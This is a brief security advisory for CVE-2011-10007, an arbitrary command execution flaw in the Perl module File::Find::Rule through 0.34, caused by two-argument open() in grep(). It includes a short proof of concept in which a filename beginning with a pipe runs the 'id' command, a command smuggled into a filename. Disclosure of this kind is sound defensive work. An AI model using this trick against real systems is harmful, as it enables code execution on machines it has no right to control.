CVE-2011-10007

Date: June 5, 2025

File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when "grep()" encounters a crafted filename. A file handle is opened with the 2 argument form of "open()" allowing an attacker controlled filename to provide the MODE parameter to "open()", turning the filename into a command to be executed. Example: $ mkdir /tmp/poc; echo > "/tmp/poc/|id" $ perl -MFile::Find::Rule -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")' uid=1000(user) gid=1000(user) groups=1000(user),100(users)
